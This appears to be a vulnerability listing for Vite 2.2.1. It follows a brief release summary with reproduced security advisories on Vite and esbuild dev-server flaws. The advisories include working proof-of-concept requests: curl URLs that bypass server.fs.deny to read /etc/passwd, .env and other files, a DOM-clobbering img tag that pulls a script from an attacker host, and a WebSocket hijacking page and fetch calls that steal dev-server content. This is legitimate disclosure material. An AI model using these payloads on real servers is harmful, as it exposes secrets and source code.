Vite 2.2.1 is a minor patch release following version 2.2.0 of this increasingly popular, native-ESM powered web development build tool. Both versions share the same core dependencies, including Rollup, esbuild, PostCSS, and resolve, ensuring a consistent foundation for handling bundling, transformation, and module resolution. The developer dependencies, crucial for the development and testing of Vite itself, also remain largely the same. This continuity means that upgrading from 2.2.0 to 2.2.1 shouldn't introduce any significant breaking changes or require major code adjustments for users. Examining the dist object reveals small differences. Specifically, vite 2.2.1 unpackedSize is slightly bigger than the one in 2.2.0. Also, version 2.2.1 was released a few hours after version 2.2.0.
For developers, this patch release likely addresses minor bugs or performance optimizations identified in the initial 2.2.0 release. While the changes might not be immediately apparent or impactful in everyday usage, these incremental improvements contribute to a more stable and refined development experience. Given the identical dependency structure, the decision to upgrade primarily hinges on the desire for the latest bug fixes and refinements, ensuring a smoother workflow and potentially mitigating unforeseen issues. Keeping your Vite version up-to-date is generally a good practice to benefit from ongoing improvements and security patches.
All the vulnerabilities related to the version 2.2.1 of the package
Vite before v2.9.13 vulnerable to directory traversal via crafted URL to victim's service
Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.
Vite Server Options (server.fs.deny) can be bypassed using double forward-slash (//)
The issue involves a security vulnerability in Vite where the server options can be bypassed using a double forward slash (//
). This vulnerability poses a potential security risk as it can allow unauthorized access to sensitive directories and files.
vite.config.js
file, review and update the server configuration options to restrict access to unauthorized requests or directories.Only users explicitly exposing the Vite dev server to the network (using --host
or the server.host
config option) are affected and only files in the immediate Vite project root folder could be exposed.\n\n### Patches\nFixed in vite@4.3.9, vite@4.2.3, vite@4.1.5, vite@4.0.5 and in the latest minors of the previous two majors, vite@3.2.7 and vite@2.9.16.
Vite serves the application with under the root-path of the project while running on the dev mode. By default, Vite uses the server option fs.deny to protect sensitive files. But using a simple double forward-slash, we can bypass this restriction. \n\n### PoC\n1. Create a new latest project of Vite using any package manager. (here I'm using react and vue templates and pnpm for testing)\n2. Serve the application on dev mode using pnpm run dev
.\n3. Directly access the file via url using double forward-slash (//
) (e.g: //.env
, //.env.local
)\n4. The server option fs.deny
was successfully bypassed.
Proof Images: \n
Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs
, iife
, or umd
. In such cases, Vite replaces relative paths starting with __VITE_ASSET__
using the URL retrieved from document.currentScript
.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
const relativeUrlMechanisms = {
amd: (relativePath) => {
if (relativePath[0] !== ".") relativePath = "./" + relativePath;
return getResolveUrl(
`require.toUrl('${escapeId(relativePath)}'), document.baseURI`
);
},
cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath)})`,
es: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
),
iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
// NOTE: make sure rollup generate `module` params
system: (relativePath) => getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
),
umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
relativePath
)} : ${getRelativeUrlFromDocument(relativePath, true)})`
};
Considering a website that contains the following main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
// extra.js
export default "https://myserver/justAnOther.js"
// vite.config.js
import { defineConfig } from 'vite'
export default defineConfig({
build: {
assetsInlineLimit: 0, // To avoid inline assets for PoC
rollupOptions: {
output: {
format: "cjs"
},
},
},
base: "./",
});
After running the build command, the developer will get following bundle as the output.
// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);
Adding the Vite bundled script, dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
. The attacker only needs to insert an img
tag with the name
attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs
, iife
, or umd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(partialEncodeURIPath(relativePath))}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
)
Vite's server.fs.deny
is bypassed when using ?import&raw
The contents of arbitrary files can be returned to the browser.
@fs
denies access to files outside of Vite serving allow list. Adding ?import&raw
to the URL bypasses this limitation and returns the file content if it exists.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Websites were able to send any requests to the development server and read the response in vite
Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.
[!WARNING] This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.
Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.
localhost
or *.localhost
If you are using the backend integration feature and not setting server.origin
, you need to add the origin of the backend server to the server.cors.origin
option. Make sure to set a specific origin rather than *
, otherwise any origin can access your development server.
If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost
or *.localhost
, you need to add the hostname to the new server.allowedHosts
option. For example, if the reverse proxy is sending requests to http://vite:5173
, you need to add vite
to the server.allowedHosts
option.
localhost
or *.localhost
You need to add the hostname to the new server.allowedHosts
option. For example, if you are accessing the development server via http://foo.example.com:8080
, you need to add foo.example.com
to the server.allowedHosts
option.
If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.
In that case, you can either:
legacy.skipWebSocketTokenCheck: true
to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite
Set server.cors
to false
or limit server.cors.origin
to trusted origins.
There aren't any mitigations for this.
Use Chrome 94+ or use HTTPS for the development server.
There are three causes that allowed malicious websites to send any requests to the development server:
Vite sets the Access-Control-Allow-Origin
header depending on server.cors
option. The default value was true
which sets Access-Control-Allow-Origin: *
. This allows websites on any origin to fetch
contents served on the development server.
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:5173/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:5173/main.js
.Vite starts a WebSocket server to handle HMR and other functionalities. This WebSocket server did not perform validation on the Origin header and was vulnerable to Cross-Site WebSocket Hijacking (CSWSH) attacks. With that attack, an attacker can read and write messages on the WebSocket connection. Vite only sends some information over the WebSocket connection (list of the file paths that changed, the file content where the errored happened, etc.), but plugins can send arbitrary messages and may include more sensitive information.
Attack scenario:
http://malicious.example.com
).new WebSocket('http://127.0.0.1:5173', 'vite-hmr')
by JS in that malicious web page.Unless server.https
is set, Vite starts the development server on HTTP. Non-HTTPS servers are vulnerable to DNS rebinding attacks without validation on the Host header. But Vite did not perform validation on the Host header. By exploiting this vulnerability, an attacker can send arbitrary requests to the development server bypassing the same-origin policy.
http://malicious.example.com:5173
) (HTTPS won't work).fetch('/main.js')
request by JS in that malicious web page.http://127.0.0.1:5173/main.js
bypassing the same origin policy.Users with the default server.cors
option may:
server.proxy
may have those functionalities.All users may get the file paths of the files that changed and the file content where the error happened be stolen by malicious websites.
For users that is using a plugin that sends messages over WebSocket, that content may be stolen by malicious websites.
For users that is using a plugin that has a functionality that is triggered by messages over WebSocket, that functionality may be exploited by malicious websites.
Users using HTTP for the development server and using a browser that is not Chrome 94+ may:
server.proxy
may have those functionalities.Chrome 94+ users are not affected for [3], because sending a request to a private network page from public non-HTTPS page is forbidden since Chrome 94.
Safari has a bug that blocks requests to loopback addresses from HTTPS origins. This means when the user is using Safari and Vite is listening on lookback addresses, there's another condition of "the malicious web page is served on HTTP" to make [1] and [2] to work.
react
template which utilizes HMR functionality.npm create vite@latest my-vue-app-react -- --template react
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>vite CSWSH</title>
</head>
<body>
<div id="logs"></div>
<script>
const div = document.querySelectorAll('#logs')[0];
const ws = new WebSocket('ws://localhost:5173','vite-hmr');
ws.onmessage = event => {
const logLine = document.createElement('p');
logLine.innerHTML = event.data;
div.append(logLine);
};
</script>
</body>
</html>
npm run dev
http://localhost:5173/
) as well as the malicious page in the browser.src/App.jsx
file and intentionally place a syntax errorHere's a video demonstrating the POC:
https://github.com/user-attachments/assets/a4ad05cd-0b34-461c-9ff6-d7c8663d6961
Vite bypasses server.fs.deny when using ?raw??
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
@fs
denies access to files outside of Vite serving allow list. Adding ?raw??
or ?import&raw??
to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ?
are removed in several places, but are not accounted for in query string regexes.
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Vite has a server.fs.deny
bypassed for inline
and raw
with ?import
query
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host
or server.host
config option) are affected.
?inline&import
(originally reported as ?import&?inline=1.wasm?init
)?raw?import
/@fs/
isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Vite allows server.fs.deny to be bypassed with .svg or relative paths
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
.svg
Requests ending with .svg
are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg
with ?.wasm?init
or with sec-fetch-dest: script
header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit
(default: 4kB) and when using Vite 6.0+.
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../
).
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Vite has an server.fs.deny
bypass with an invalid request-target
The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.
Only apps with the following conditions are affected.
HTTP 1.1 spec (RFC 9112) does not allow #
in request-target
. Although an attacker can send such a request. For those requests with an invalid request-line
(it includes request-target
), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).
On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url
contains #
. Vite assumed req.url
won't contain #
when checking server.fs.deny
, allowing those kinds of requests to bypass the check.
On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url
did not contain #
.
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
Vite's server.fs.deny bypassed with /. for files under project root
The contents of files in the project root
that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root
and are denied by a file matching pattern can be bypassed.
.env
, .env.*
, *.{crt,pem}
, **/.env
**/.git/**
, .git/**
, .git/**/*
server.fs.deny
can contain patterns matching against files (by default it includes .env
, .env.*
, *.{crt,pem}
as such patterns).
These patterns were able to bypass for files under root
by using a combination of slash and dot (/.
).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: *
header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:8000/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js
.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html
: normally you have a script tag here/assets
: it's common to have a assets
directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild
SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))
)The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm i
npm run watch
fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))
in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.